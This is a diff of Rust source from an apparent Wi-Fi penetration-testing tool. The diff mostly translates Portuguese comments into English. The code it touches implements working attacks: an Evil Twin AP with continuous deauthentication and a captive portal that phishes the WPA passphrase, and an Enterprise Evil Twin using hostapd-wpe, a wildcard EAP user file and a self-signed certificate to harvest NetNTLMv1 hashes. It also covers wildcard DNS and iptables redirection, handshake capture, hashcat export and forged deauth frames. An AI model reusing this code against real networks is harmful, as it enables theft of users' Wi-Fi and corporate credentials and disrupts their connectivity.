//
//
let cert_args = crate::eviltwin_enterprise::openssl_selfsigned_cert_args(
&key_path.to_string_lossy(),
&cert_path.to_string_lossy(),
@@ -2743,11 +2768,11 @@ impl Engine {
)
.map_err(SabiaError::Io)?;
// Mesmo esquema de recuperação do Evil Twin de PSK (bug-093):
// `self_heal_eviltwin_leftovers` lê qualquer `state-*.json` sobrando
// e desfaz tudo no próximo início do engine, mesmo sem
// `portal_port`/`dnsmasq_conf` (campos ausentes, tratados como
// opcionais nessa função).
// Persist crash-recovery state so `self_heal_eviltwin_leftovers` can
// restore interfaces if the process exits unexpectedly.
//
//
//
let state_path = dir.join(format!("state-{ap_iface}.json"));
let _ = fs::write(
&state_path,
@@ -2766,11 +2791,11 @@ impl Engine {
.args(["device", "set", name, "managed", "no"])
.status();
// Mesmo diagnóstico do bug-093 pro hostapd puro: grava a saída pra
// conseguir explicar um crash imediato em vez de deixar um
// "<defunct>" mudo (placa sem o canal/banda de verdade, por
// exemplo). Sem DHCP/iptables aqui — a credencial EAP é enviada
// como parte do 802.1X, antes de qualquer IP ser atribuído.
// Log `hostapd-wpe` output and check for immediate startup exit.
//
//
//
//
let hostapd_log_path = dir.join(format!("hostapd-wpe-{ap_iface}.log"));
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
@@ -2841,9 +2866,9 @@ impl Engine {
Err(SabiaError::UnsupportedPlatform)
}
/// Relê o log do hostapd-wpe (se o job ainda estiver rodando) e devolve
/// o estado atual — sem thread de fundo: o polling da UI já chama isso
/// a cada ~1.5s, igual aos outros jobs.
/// Re-parses the `hostapd-wpe` log file and returns the current job status.
///
///
pub fn enterprise_twin_job(&self, id: &str) -> Option<EnterpriseTwinJobInfo> {
let job = self.enterprise_twin_jobs.lock().unwrap().get(id).cloned()?;
{
@@ -2878,11 +2903,11 @@ impl Engine {
out
}
/// Mata o hostapd-wpe e devolve as duas interfaces pro NetworkManager —
/// síncrono (tem `&self`, sem thread solta pra coordenar), ao contrário
/// do Evil Twin de PSK que precisa de uma thread de portal rodando em
/// paralelo. O log de credenciais fica no disco (não é apagado) pra
/// quebra offline com john/hashcat.
/// Stops `hostapd-wpe`, restores both wireless interfaces to NetworkManager,
/// and preserves the captured credentials log file on disk for offline cracking.
///
///
///
#[cfg(target_os = "linux")]
pub fn stop_evil_twin_enterprise(&self, id: &str) -> Result<()> {
let job = self
@@ -3005,14 +3030,14 @@ fn append_audit(
let _ = log.record(action, target, &text);
}
/// Desfaz um Evil Twin que não terminou direito numa execução anterior
/// (processo morto por Ctrl+C sem handler, `kill -9`, queda de energia):
/// mata hostapd/dnsmasq órfãos, remove as regras de iptables e devolve as
/// duas interfaces (clone + captura) pro NetworkManager. Sem isso elas
/// ficam presas em `managed no` e o painel de Wi-Fi do sistema some por
/// completo (nenhum dispositivo gerenciado pra mostrar) até o usuário
/// descobrir e rodar `nmcli device set <iface> managed yes` na mão.
/// Roda uma vez, best-effort, toda vez que um `Engine` é criado.
/// Cleans up leftover Evil Twin state from a previously terminated process:
/// kills orphaned `hostapd`/`dnsmasq` processes, removes `iptables` redirect
/// rules, and returns both wireless interfaces to NetworkManager.
/// Runs best-effort whenever an `Engine` instance is initialized.
///
///
///
///
#[cfg(target_os = "linux")]
fn self_heal_eviltwin_leftovers() {
use std::process::Command;
@@ -3024,8 +3049,8 @@ fn self_heal_eviltwin_leftovers() {
return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
};
self_heal_eviltwin_leftovers_for_uid(uid);
// Também cobre o euid atual (sudo normalmente roda como root/0, que é
// o euid real do processo mesmo com SUDO_UID setado).
// Scan both the real user UID and the current effective UID (`0` under sudo).
//
self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
fn self_heal_eviltwin_leftovers_for_uid(uid: u32) {
@@ -3263,8 +3288,8 @@ mod tests {
fn evil_twin_requires_a_crackable_handshake_for_that_bssid() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
// Só o beacon, sem handshake nenhum — a sessão sabe do AP mas não
// tem como conferir senha nenhuma no portal ainda.
// Only a beacon was ingested (no handshake yet), so the captive portal
// cannot verify passphrases yet.
let mut table = ScanTable::new();
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
table.ingest(&beacon);
@@ -3290,8 +3315,8 @@ mod tests {
#[test]
fn evil_twin_fails_clearly_when_hostapd_is_missing() {
// Neste ambiente de CI/sandbox hostapd não está instalado de
// propósito — exercita o caminho de erro de verdade, não um mock.
// Exercise the missing-binary error path when `hostapd` is absent.
//
if crate::wps::find_in_path("hostapd").is_some() {
eprintln!("hostapd instalado nesta máquina — pulando (o teste é pro caso sem ele)");
return;
@@ -3323,7 +3348,7 @@ mod tests {
#[test]
fn evil_twin_enterprise_rejects_a_psk_network() {
// seed_session() cria um beacon com AKM 2 (PSK) — não é Enterprise.
// `seed_session()` seeds a WPA2-PSK beacon (AKM 2), which is rejected by Enterprise Evil Twin.
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
@@ -3346,9 +3371,9 @@ mod tests {
#[test]
fn evil_twin_enterprise_accepts_an_802_1x_network_up_to_the_hostapd_wpe_check() {
// AKM 1 = 802.1X (Enterprise) — passa a validação de segurança e só
// falha mais na frente, no binário externo que não existe neste
// ambiente de CI/sandbox de propósito.
// AKM 1 = 802.1X (Enterprise) passes security validation and reaches external binary checks.
//
//
if crate::wps::find_in_path("hostapd-wpe").is_some() {
eprintln!("hostapd-wpe instalado nesta máquina — pulando (o teste é pro caso sem ele)");
return;
+55 -53
View File
@@ -1,27 +1,27 @@
//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
//! verdade por uma página de "reconectar", como qualquer portal cativo de
//! hotel/aeroporto faz.
//! Evil Twin + captive portal: clones a target AP observed during capture (as an
//! open network with the same SSID) alongside continuous deauthentication of the
//! real AP, presenting a captive portal that prompts for the network passphrase.
//!
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
//! graça**. É conferida na hora contra o handshake real já capturado
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
//! de verdade com a rede. Isso também evita que a página vire um jeito de
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
//!
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
//! explícita das outras abas de ataque.
//!
//! Submitted passphrases are verified immediately against the captured WPA
//! handshake or PMKID ([`crate::crack::CrackTarget::verify`]): the portal only
//! reports success when the passphrase cryptographically matches the target network.
//!
//!
//!
//!
//! Requires an active target from the current capture session and explicit
//! operator authorization.
//!
use crate::crack::CrackTarget;
use std::fmt::Write as _;
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
/// SSID certo, sem perguntar nada ao usuário.
/// Generates the `hostapd` configuration for the open clone AP.
///
///
///
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
@@ -38,10 +38,10 @@ pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>)
out
}
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
/// abrir sozinho no dispositivo da vítima).
/// Generates the `dnsmasq` configuration: serves DHCP on the clone subnet and
/// resolves all DNS queries to the gateway IP so OS captive-portal detection
/// automatically opens the login prompt.
///
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
@@ -49,15 +49,15 @@ pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) ->
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
let _ = writeln!(out, "address=/#/{gateway_ip}"); // wildcard DNS pointing to our gateway
let _ = writeln!(out, "no-resolv");
out
}
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
/// Builds `iptables` rules (one argument list per command) redirecting HTTP
/// traffic from the clone AP subnet to the local captive portal listener.
///
///
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
let redirect = |proto: &str, dport: u16| {
vec![
@@ -80,7 +80,7 @@ pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
vec![redirect("tcp", 80)]
}
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
/// Matching `iptables -D` rules to tear down redirection when the job stops.
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
iptables_rules(iface, portal_port)
.into_iter()
@@ -94,27 +94,27 @@ pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>>
}
fn sanitize_conf_value(value: &str) -> String {
// hostapd.conf não escapa valores — corta quebra de linha, que seria
// injeção de outra diretiva de config.
// Strip newlines and control characters to prevent `hostapd.conf` directive injection.
//
value.replace(['\n', '\r'], "")
}
/// Resultado de uma tentativa de login no portal.
/// Outcome of a captive portal passphrase submission.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PortalAttempt {
/// Senha bateu com o handshake real — confirmado criptograficamente,
/// não é só "aceitar o que a pessoa digitou".
/// Passphrase matched the captured handshake/PMKID.
///
Correct,
WrongPassword,
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
/// Outside valid WPA PSK length (8–63 characters).
InvalidLength,
}
/// Confere a senha submetida no portal contra o handshake real do alvo —
/// mesma verificação criptográfica usada na quebra por dicionário
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
/// cativo legítimo faria com uma senha errada.
/// Verifies a submitted passphrase against the target's captured `CrackTarget`.
///
///
///
///
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
if !(8..=63).contains(&password.len()) {
return PortalAttempt::InvalidLength;
@@ -126,8 +126,8 @@ pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
}
}
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
/// de "reconectar à rede", sem imitar nenhuma marca específica.
/// Renders the captive portal HTML page for the cloned SSID.
///
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
let notice = if wrong_password {
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
@@ -176,12 +176,12 @@ display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0
)
}
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
/// página de login, o que também satisfaz a detecção de portal cativo do
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
/// virar true, ou o accept falhar.
/// Minimal captive portal HTTP server: serves the login page on any `GET`
/// (triggering OS captive-portal popups) and verifies `password=...` on
/// `POST /connect` against `target`. Runs until a valid passphrase is
/// submitted or `stop` is set.
///
///
#[cfg(target_os = "linux")]
pub fn run_portal(
listener: std::net::TcpListener,
@@ -226,8 +226,8 @@ fn handle_connection(
.ok();
let mut buf = vec![0u8; 8192];
let mut total = 0usize;
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
// que um navegador manda pra um form simples.
// Read until the end of HTTP headers and declared `Content-Length`.
//
loop {
let n = stream.read(&mut buf[total..]).ok()?;
if n == 0 {
@@ -286,9 +286,10 @@ fn handle_connection(
found_password
}
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
/// crate de parsing de formulário por causa disso).
/// Extracts a URL-decoded `key=value` field from an `application/x-www-form-urlencoded` body.
///
///
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn form_value(body: &str, key: &str) -> Option<String> {
body.split('&').find_map(|pair| {
let (k, v) = pair.split_once('=')?;
@@ -300,6 +301,7 @@ fn form_value(body: &str, key: &str) -> Option<String> {
})
}
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn url_decode(s: &str) -> String {
let bytes = s.as_bytes();
let mut out = Vec::with_capacity(bytes.len());
@@ -433,7 +435,7 @@ mod tests {
})
});
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
// Brief pause so the listener thread enters `accept()` before the client connects.
std::thread::sleep(std::time::Duration::from_millis(50));
let post = |password: &str| -> String {
+46 -46
View File
@@ -1,36 +1,36 @@
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
//! WPA2/WPA3-Enterprise (802.1X) Evil Twin: clones an Enterprise AP on a
//! secondary interface using `hostapd-wpe` to accept EAP (PEAP/EAP-TTLS with
//! inner MSCHAPv2) authentication attempts and log NetNTLMv1 challenge/response
//! hashes for offline cracking with `john` or `hashcat -m 5500`.
//!
//!
//!
//!
//!
//! Note: because the server certificate is self-signed, clients configured to
//! strictly validate the RADIUS CA certificate chain will reject the connection;
//! clients without strict CA pinning will complete the inner MSCHAPv2 exchange.
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
//! PSK precisa enganar um humano a digitá-la de novo.
//!
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
//! log de credenciais capturadas.
//!
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
//! cadeia de certificado da rede (comum em dispositivos atualizados,
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
//! que esse ataque sempre existiu para expor.
use std::fmt::Write as _;
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
/// Generates the `hostapd-wpe` configuration for the Enterprise clone AP.
///
///
#[allow(clippy::too_many_arguments)]
pub fn hostapd_wpe_conf(
iface: &str,
@@ -64,20 +64,20 @@ pub fn hostapd_wpe_conf(
out
}
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
/// challenge/response de qualquer cliente que tentar autenticar, sem
/// precisar saber credenciais reais de antemão.
/// Wildcard `eap_user` table: accepts any outer identity for PEAP/TTLS and
/// negotiates inner MSCHAPv2 so `hostapd-wpe` logs the challenge/response pair.
///
///
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
"* PEAP,TTLS\n",
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
);
/// Argumentos do `openssl req` pra gerar o par certificado+chave
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
/// é de sobra pra uma sessão de teste.
/// Builds `openssl req` arguments to generate a 1-day ephemeral self-signed
/// RSA certificate and private key for the outer EAP-TLS/PEAP/TTLS tunnel.
///
///
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
[
"req",
@@ -103,23 +103,23 @@ fn sanitize_conf_value(value: &str) -> String {
value.replace(['\n', '\r'], "")
}
/// Uma credencial capturada: identidade + a linha pronta pra crackear
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
/// se o hostapd-wpe conseguiu capturar os dois.
/// A captured Enterprise credential: username plus NetNTLMv1 hash string
/// (compatible with `john --format=netntlm` and `hashcat -m 5500`).
///
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CapturedCredential {
pub username: String,
pub netntlm: Option<String>,
}
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
/// best-effort: o formato do hostapd-wpe é documentado (blocos
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
/// validar contra uma instalação de verdade nesta máquina (não é um
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
/// sempre expõe o arquivo de log cru também, pra conferência manual.
/// Parses `hostapd-wpe` log output and extracts captured MSCHAPv2 / NetNTLMv1 credentials.
///
///
///
///
///
///
///
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
let mut out: Vec<CapturedCredential> = Vec::new();
let mut current_username: Option<String> = None;
+29 -29
View File
@@ -1,9 +1,9 @@
//! Montagem dos handshakes WPA/WPA2 a partir dos quadros EAPOL vistos no ar.
//! Assembles WPA/WPA2 4-way handshakes and PMKIDs from captured EAPOL frames.
//!
//! Keyed by `(BSSID, station)`. Tracks messages 1–4, PMKID from message 1,
//! and the raw radiotap+802.11 frames required to export `.pcap` or `.hc22000`.
//!
//!
//! Um handshake é identificado pelo par (BSSID, estação). Guardamos as quatro
//! mensagens quando aparecem, o PMKID da mensagem 1 e os quadros crus
//! necessários para exportar um `.pcap` que o `aircrack-ng`/hashcat também
//! entendam.
use crate::dot11;
use crate::eapol::{self, EapolKey};
@@ -24,20 +24,20 @@ pub struct Handshake {
pub snonce: Option<[u8; 32]>,
pub pmkid: Option<[u8; 16]>,
pub key_version: u8,
/// Bitmask das mensagens vistas (bit 0 = mensagem 1).
/// Bitmask of observed handshake messages (bit 0 = message 1).
pub messages: u8,
/// Quadro EAPOL da mensagem 2, com o MIC — necessário para conferir a
/// senha candidata.
/// Full EAPOL frame from message 2 (containing the MIC) used to verify
/// candidate passphrases.
pub eapol_msg2: Option<Vec<u8>>,
pub raw: Vec<RawFrame>,
pub first_seen_unix: u64,
pub last_seen_unix: u64,
pub password: Option<String>,
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
/// estação) específico — não abre o tráfego de outros clientes, já que
/// a PTK é efêmera por associação.
/// 16-byte CCMP Temporal Key (TK) derived once `password` is known.
/// `None` for TKIP (`key_version == 1`) or PMKID-only handshakes. Scoped
/// to this specific `(BSSID, station)` association.
///
///
pub tk: Option<[u8; 16]>,
}
@@ -111,7 +111,7 @@ impl Handshake {
}
}
/// Quadros crus (radiotap + 802.11) das mensagens vistas, em ordem.
/// Raw radiotap + 802.11 frames of observed messages, in arrival order.
pub fn raw_frames(&self) -> Vec<Vec<u8>> {
let mut v = self.raw.clone();
v.sort_by_key(|f| f.message);
@@ -140,8 +140,8 @@ impl HandshakeTracker {
Self::default()
}
/// Processa um quadro 802.11. Retorna `true` quando o quadro era EAPOL e
/// atualizou (ou criou) um handshake.
/// Processes a parsed 802.11 frame. Returns `true` if it contained an EAPOL-Key
/// message that created or updated a handshake entry.
pub fn ingest(
&mut self,
frame: &dot11::Frame<'_>,
@@ -159,8 +159,8 @@ impl HandshakeTracker {
return false;
}
// Em data frames com DS, o BSSID está em `frame.bssid`; a estação é
// quem recebe (1/3, AP -> STA) ou quem transmite (2/4, STA -> AP).
// In DS data frames, `frame.bssid` holds the AP MAC; the station is
// `destination` on downlink (M1/M3) or `transmitter` on uplink (M2/M4).
let bssid = frame.bssid_str();
let station = match key.message {
1 | 3 => frame.addr1.map(|m| dot11::mac_to_string(&m)),
@@ -198,8 +198,8 @@ impl HandshakeTracker {
true
}
/// Atualiza o SSID de handshakes já vistos (quando o beacon chega depois
/// do EAPOL, o que acontece em capturas começando no meio do handshake).
/// Backfills the SSID on existing handshakes when a beacon arrives after
/// the EAPOL exchange.
pub fn update_ssid(&mut self, bssid: &str, ssid: &str) {
if ssid.is_empty() {
return;
@@ -233,8 +233,8 @@ impl HandshakeTracker {
self.all().into_iter().map(Handshake::info).collect()
}
/// Primeiro handshake que pode ser quebrado; filtros opcionais por BSSID
/// e estação.
/// Returns the first crackable handshake matching the optional `bssid` and
/// `station` filters.
pub fn first_crackable(
&self,
bssid: Option<&str>,
@@ -254,9 +254,9 @@ impl HandshakeTracker {
}
}
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
/// Returns the derived 16-byte CCMP Temporal Key (TK) for `(bssid, station)`
/// if the network password has been cracked and both nonces were captured.
///
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
self.get(bssid, station).and_then(|hs| hs.tk)
}
@@ -270,10 +270,10 @@ impl HandshakeTracker {
}
}
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
/// Derives the 16-byte CCMP Temporal Key (`PTK[32..48]`) from a cracked passphrase.
/// Requires a full EAPOL CCMP handshake (`key_version == 2`) with both nonces.
///
///
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
if hs.key_version != 2 {
return None;
+5 -5
View File
@@ -1,12 +1,12 @@
//! Exportação no formato `.hc22000` do hashcat.
//! Exports captured WPA/WPA2 material in hashcat `.hc22000` format (`-m 22000`).
//!
//! Duas linhas possíveis, como no hcxtools:
//! Emits both record types supported by `hcxtools` / `hashcat`:
//!
//! * `WPA*01*PMKID*AP*STA*SSID***`
//! * `WPA*02*MIC*AP*STA*SSID*ANONCE*EAPOL*MESSAGEPAIR`
//!
//! O EAPOL exportado é o quadro da mensagem 2 completo (cabeçalho 802.1X +
//! descritor), que é o que o hashcat espera no campo `EAPOL_CLIENT`.
//! The exported EAPOL field contains the full message 2 frame (802.1X header +
//! key descriptor) expected by hashcat's `EAPOL_CLIENT` field.
use crate::eapol::MIC_OFFSET;
use crate::handshake::Handshake;
@@ -55,7 +55,7 @@ pub fn hashcat_line(hs: &Handshake) -> Option<String> {
))
}
/// Linhas únicas, uma por handshake que tenha material suficiente.
/// Formats deduplicated `.hc22000` lines for all crackable handshakes.
pub fn export<'a>(handshakes: impl IntoIterator<Item = &'a Handshake>) -> Vec<String> {
let mut lines: Vec<String> = handshakes.into_iter().filter_map(hashcat_line).collect();
lines.sort();
+12 -12
View File
@@ -1,7 +1,7 @@
//! Descoberta de interfaces de rede e identificação das que são Wi-Fi.
//! Network interface enumeration and 802.11 wireless phy identification.
//!
//! Não depende de `iw`: lê direto de `/sys/class/net`, do mesmo jeito que o
//! próprio `iw`/`ip` fazem por baixo.
//! Reads directly from `/sys/class/net` on Linux, falling back to `iw` for
//! detailed interface mode inspection when available.
use crate::error::{Result, SabiaError};
use std::fs;
@@ -11,7 +11,7 @@ use std::path::{Path, PathBuf};
pub struct Interface {
pub name: String,
pub mac: String,
/// Caminho do phy (ex.: `phy0`), presente só em interfaces 802.11.
/// Wireless `wiphy` name (e.g. `"phy0"`), present only on 802.11 interfaces.
pub phy: Option<String>,
pub mode: Mode,
pub up: bool,
@@ -28,7 +28,7 @@ fn net_root() -> &'static Path {
Path::new("/sys/class/net")
}
/// Lista todas as interfaces de rede, Wi-Fi ou não (chamador filtra por `phy`).
/// Lists all network interfaces on the system (wireless interfaces have `phy.is_some()`).
pub fn list_all() -> Result<Vec<Interface>> {
let mut out = Vec::new();
for entry in fs::read_dir(net_root())? {
@@ -43,7 +43,7 @@ pub fn list_all() -> Result<Vec<Interface>> {
Ok(out)
}
/// Lista apenas interfaces com um `phy80211` (ou seja, rádios Wi-Fi).
/// Lists only 802.11 wireless interfaces (`phy80211` present).
pub fn list_wireless() -> Result<Vec<Interface>> {
Ok(list_all()?
.into_iter()
@@ -79,8 +79,8 @@ fn read_interface(name: &str) -> Result<Interface> {
.ok()
.and_then(|p| p.file_name().map(|f| f.to_string_lossy().into_owned()))
.or_else(|| {
// em alguns kernels phy80211 é um diretório real, não symlink;
// o nome do phy então vem do subdiretório "phyNN" dentro dele.
// On some kernels `phy80211` is a directory rather than a symlink;
// read the `"phyNN"` subdirectory inside it.
fs::read_dir(&phy80211)
.ok()
.and_then(|mut rd| rd.next())
@@ -106,10 +106,10 @@ fn read_interface(name: &str) -> Result<Interface> {
})
}
/// Lê o modo (`managed`/`monitor`) via `/sys/class/net/<if>/type` + `uevent`
/// não é suficiente (type é sempre ARPHRD_ETHER para Wi-Fi); a forma estável
/// sem libnl é delegar a leitura real ao `iw dev <if> info` quando disponível,
/// mantendo aqui um melhor-esforço local para não depender de root.
/// Reads the interface operating mode (`managed`/`monitor`) via `/sys/class/net/<if>/type`
/// and `iw dev <if> info` when available.
///
///
fn read_wireless_mode(name: &str) -> Mode {
match crate::netlink::iw_dev_type(name) {
Some(Mode::Monitor) => Mode::Monitor,
+31 -31
View File
@@ -1,17 +1,17 @@
//! Construção e envio de quadros de gerenciamento (desautenticação e
//! desassociação) para testes autorizados de robustez de redes Wi-Fi.
//! Construction and raw socket injection of 802.11 management frames
//! (deauthentication, disassociation, open auth, association) for authorized testing.
//!
//! Frame builders are platform-independent; raw transmission uses Linux `AF_PACKET`.
//! Rate limits, counts, and audit logging are enforced by [`crate::engine::Engine`].
//!
//! A construção do quadro é independente de plataforma e testável; o envio
//! usa `AF_PACKET` e só existe no Linux. O chamador (engine) impõe limites de
//! quantidade e intervalo e registra a ação na trilha de auditoria.
#[cfg(target_os = "linux")]
use crate::error::{Result, SabiaError};
pub const BROADCAST: [u8; 6] = [0xff; 6];
/// Cabeçalho radiotap mínimo (8 bytes, sem campos). É aceito por mac80211 e
/// deixa o driver escolher a taxa; suficiente para quadros de gerenciamento.
/// Minimal 8-byte Radiotap header (no present fields), accepted by `mac80211`
/// for management frame injection.
fn radiotap_min() -> [u8; 8] {
[0, 0, 8, 0, 0, 0, 0, 0]
}
@@ -20,9 +20,9 @@ fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) ->
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
}
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
/// usado no teste bidirecional de PMF.
/// Builds a deauth/disassoc management frame with an explicit transmitter MAC,
/// supporting both AP->STA (`transmitter = BSSID`) and STA->AP (`transmitter = client`).
///
fn mgmt_frame_from(
subtype: u8,
transmitter: [u8; 6],
@@ -35,21 +35,21 @@ fn mgmt_frame_from(
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&destination); // addr1: destino
f.extend_from_slice(&transmitter); // addr2: transmissor
f.extend_from_slice(&destination); // addr1: destination
f.extend_from_slice(&transmitter); // addr2: transmitter
f.extend_from_slice(&bssid); // addr3: BSSID
f.extend_from_slice(&[0u8; 2]); // número de sequência
f.extend_from_slice(&[0u8; 2]); // sequence control
f.extend_from_slice(&reason.to_le_bytes());
f
}
/// Quadro de desautenticação (subtipo 12). `destination` pode ser uma
/// estação específica ou [`BROADCAST`].
/// Builds an AP->STA deauthentication frame (subtype 12). `destination` may be
/// a unicast client MAC or [`BROADCAST`].
pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(12, bssid, destination, reason)
}
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
/// Builds a deauthentication frame with an explicit transmitter MAC.
pub fn deauth_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
@@ -59,7 +59,7 @@ pub fn deauth_frame_from(
mgmt_frame_from(12, transmitter, bssid, destination, reason)
}
/// Desassociação forjada com transmissor arbitrário (STA→AP).
